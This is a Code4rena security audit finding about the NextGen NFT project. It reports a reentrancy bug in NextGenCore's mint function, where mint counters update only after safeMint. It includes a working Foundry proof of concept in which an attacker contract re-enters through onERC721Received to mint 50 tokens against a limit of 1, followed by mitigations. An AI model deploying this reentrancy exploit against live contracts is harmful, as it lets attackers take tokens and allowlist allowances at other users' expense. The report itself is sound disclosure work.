The reentrancy vulnerability in mint in nextgencore can allow an attacker to mint more tokens than they are allowed to

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L189-L200

Vulnerability details

Lines Of Code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L189-L200

Vulnerability details

Bug Description

The mint() function allows for minting new tokens when called by the minter contract and updates the value of how much each address has minted and it does so both in the public and in the allowlist phase but updates different arrays for each phase. To mint a new token it calls the _mintProcessing internal function which uses safemint to mint a new token but only after calling it do we update the number of tokens minted for the minting address.
NextGenCore.sol#L192-L199.

if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }
        }

If we look we see that values from both tokensMintedAllowlistAddress and tokensMintedPerAddress are being used in the mint() of the minter contract to check that no one mints more than their max allowance.

MinterContract.sol#L213.

require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit");

MinterContract.sol#L217.

require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");

MinterContract.sol#L224.

require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");

incrementing those values after calling _mintProcessing can cause a reentrancy and because they are used to check that someone does not mint more than his allowance, someone might exploit the reentrancy and use a contract with onERC721Received which will recall the mint() of the minter contract back just after they receive the mint nft to mint a new one which will make it possible for them to mint more nfts then they are allowed to because the values are not updated yet.

Impact

A user will be able to use this exploit to mint more tokens than he is allowed to and this is especially dangerous in the allowlist phase since the attacker might mint any number of nfts he wants at the expense of the allowances of others and sell them for a profit.

Proof of Concept

The following Foundry test demonstrates an example of how an attacker can exploit the reentrancy to mint 50 tokens while his allowance is just 1 token:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import {Test, console} from "../../lib/forge-std/src/Test.sol";
import {StdCheats} from "../../lib/forge-std/src/StdCheats.sol";
import {NextGenCore} from "../src/smart-contracts/NextGenCore.sol";
import {NextGenMinterContract} from "../src/smart-contracts/MinterContract.sol";
import {NextGenAdmins} from "../src/smart-contracts/NextGenAdmins.sol";
import {DelegationManagementContract} from "../src/smart-contracts/NFTdelegation.sol";
import {IERC721} from "../src/smart-contracts/IERC721.sol";

contract MockRandomizer { //
    NextGenCore nextgencore;
    bytes32 hash = 0x8155aec2a4a1716c8a4924735a060d9bf2c0df3eb8de7bf8dde6c7e455e457b9;

    constructor(address nextgencoreaddr) {
        nextgencore = NextGenCore(nextgencoreaddr);
    }

    function calculateTokenHash(uint256 _collectionID, uint256 _mintIndex, uint256 _saltfun_o) public {
        nextgencore.setTokenHash(_collectionID, _mintIndex, hash);
    }

    function isRandomizerContract() external view returns (bool) {
        return true;
    }
}

contract AttackerContract {
    NextGenMinterContract mintercontract;

    constructor(address mintercontractaddr) {
        mintercontract = NextGenMinterContract(mintercontractaddr);
    }

    uint256 counter;

    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
        external
        returns (bytes4)
    {
        counter++;
        bytes32[] memory merkleProof;
        merkleProof = new bytes32[](1);
        merkleProof[0] = 0x742eb8c897404c106a4cd997aadd1089503e57eb4d4a658ba6df68d349839305;
        if (counter < 50) {
            mintercontract.mint{value: 1 ether}(
                1, // _collectionID
                1, // _numberOfTokens
                1, // _maxAllowance
                '{"name":"hello"}', // _tokenData
                address(this), //_mintTo
                merkleProof, // _merkleRoot
                0x0000000000000000000000000000000000000000, // _delegator
                2 //_varg0
            );
        }

        return this.onERC721Received.selector;
    }

    function mint(
        uint256 _collectionID,
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        bytes32[] calldata merkleProof,
        address _delegator,
        uint256 _saltfun_o
    ) public {
        mintercontract.mint{value: 1 ether}(
            _collectionID,
            _numberOfTokens,
            _maxAllowance,
            _tokenData,
            address(this),
            merkleProof,
            _delegator,
            _saltfun_o
        );
    }
}

contract ExploitPOC is StdCheats, Test {
    NextGenAdmins adminsContract;
    NextGenCore nextgencore;
    NextGenMinterContract minterContract;
    DelegationManagementContract dmc;
    address artist;
    MockRandomizer randomizer;
    AttackerContract attackercontract;

    function setUp() external {
        adminsContract = new NextGenAdmins();
        dmc = new DelegationManagementContract();
        nextgencore = new NextGenCore("Next Gen Core","NEXTGEN",address(adminsContract));
        minterContract = new NextGenMinterContract(address(nextgencore),address(dmc),address(adminsContract));
        randomizer = new MockRandomizer(address(nextgencore));
        attackercontract = new AttackerContract(address(minterContract));
        artist = makeAddr("artist");
        vm.deal(address(attackercontract), 100 ether);
    }

    function testthemodifierevertswhengiven0amount() external {
        string[] memory script;
        script = new string[](1);
        script[0] = "dsce";
        nextgencore.createCollection(
            "Test Collection 1",
            "Artist 1",
            "For testing",
            "www.test.com",
            "CCO",
            "https://ipfs.io/ipfs/hash/",
            "",
            script
        );

        nextgencore.setCollectionData(
            1, // _collectionID
            artist, // _collectionArtistAddress
            1, // _maxCollectionPurchases
            10000, // _collectionTotalSupply
            0 // _setFinalSupplyTimeAfterMint
        );

        nextgencore.addMinterContract(address(minterContract));

        nextgencore.addRandomizer(1, address(randomizer));

        minterContract.setCollectionCosts(
            1, // _collectionID
            1 ether, // _collectionMintCost 1 eth
            0.1 ether, // _collectionEndMintCost 0.1 eth
            0, // _rate
            200, // _timePeriod
            2, // _salesOptions
            0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B // delAddress
        );

        minterContract.setCollectionPhases(
            1, // _collectionID
            1, // _allowlistStartTime
            1000000, // _allowlistEndTime
            1000001, // _publicStartTime
            2000000, // _publicEndTime
            0x04b185c0f0af3d6ece6cb9a85a15ac4c6919d79f48c1433c5133cca89b884443 // _merkleRoot
        );
        bytes32[] memory merkleProof;
        merkleProof = new bytes32[](1);
        merkleProof[0] = 0x742eb8c897404c106a4cd997aadd1089503e57eb4d4a658ba6df68d349839305;
        attackercontract.mint(
            1, // _collectionID
            1, // _numberOfTokens
            1, // _maxAllowance
            '{"name":"hello"}', // _tokenData
            merkleProof, // merkleProof
            0x0000000000000000000000000000000000000000, // _delegator
            2 //_varg0
        );
        console.log("The Allowlist Limit The Attacker Was Supposed Not To Be Able To Mint More Than: 1");
        console.log(
            "Number Of Tokens The Attacker Was Able To Mint And Now Owns:",
            IERC721(address(nextgencore)).balanceOf(address(attackercontract))
        );
        assertEq(50, IERC721(address(nextgencore)).balanceOf(address(attackercontract)));
    }
}

We use a MockRandomizer for the test that doesnt matter that much and the importante thing is that when excuting the attack we set how many tokens we want to get minted by using the counter variable if we dont do soo we will run into an infinite loop that will end with an eroor so we specify that we want to mint 50 tokens and if anyone want to see the code used to create the merkle root and proof here is it:

// merkle tree/proofs generation
const { MerkleTree } = require('merkletreejs');
const { keccak256 } = require("@ethersproject/keccak256");
const { hexConcat } = require('@ethersproject/bytes');

// wallet addresses
const allowList = [
  'a0Cb889707d426A7A386870A03bc70d1b0697598',
  '15D59433Aea693cDE0E82793Edd3b6F3d5E24E22'
];

// number of spots per address

const spots = [
  '0000000000000000000000000000000000000000000000000000000000000001',
  '0000000000000000000000000000000000000000000000000000000000000001'
];

// extra info per address

const txinfo = [
  '7B226E616D65223A2268656C6C6F227D', // {"name":"hello"}
  '7B226E616D65223A2268656C6C6F227D',
];

// calculate leaves/nodes hash

let leaves = allowList.map((addr, index) => {
  const concatenatedData = addr + spots[index] + txinfo[index];
  console.log(concatenatedData);
  const bufferData = Buffer.from(concatenatedData , 'hex');
  return keccak256(bufferData);
});


console.log(leaves);

const merkleTree = new MerkleTree(leaves, keccak256, { sortPairs: true });


// Construct Merkle Tree
console.log(merkleTree.toString());

// Generate Merkle root hash
// Get the Merkle root hash, save this to the contract
const merkleRoot = merkleTree.getHexRoot();
console.log(`merkleRoot is:\n ${merkleRoot} \n`);

const proof = merkleTree.getHexProof(leaves[0])
console.log("deifr",proof)

Tools Used

Manual Review

Recommended Mitigation Steps

Consider moving the call to the _mintProcessing function below after the variable updating like this:

if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }
**--->         _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);

        }

Or consider using the openzeppelin ReentrancyGuard nonReentrant modifier like this :

    function mint(.....................) external **nonReentrant** {
        .....................................................................
    }

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #51

[c4-pre-sort]

141345 marked the issue as duplicate of #1742

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg marked the issue as partial-50

[c4-judge]

alex-ppg marked the issue as satisfactory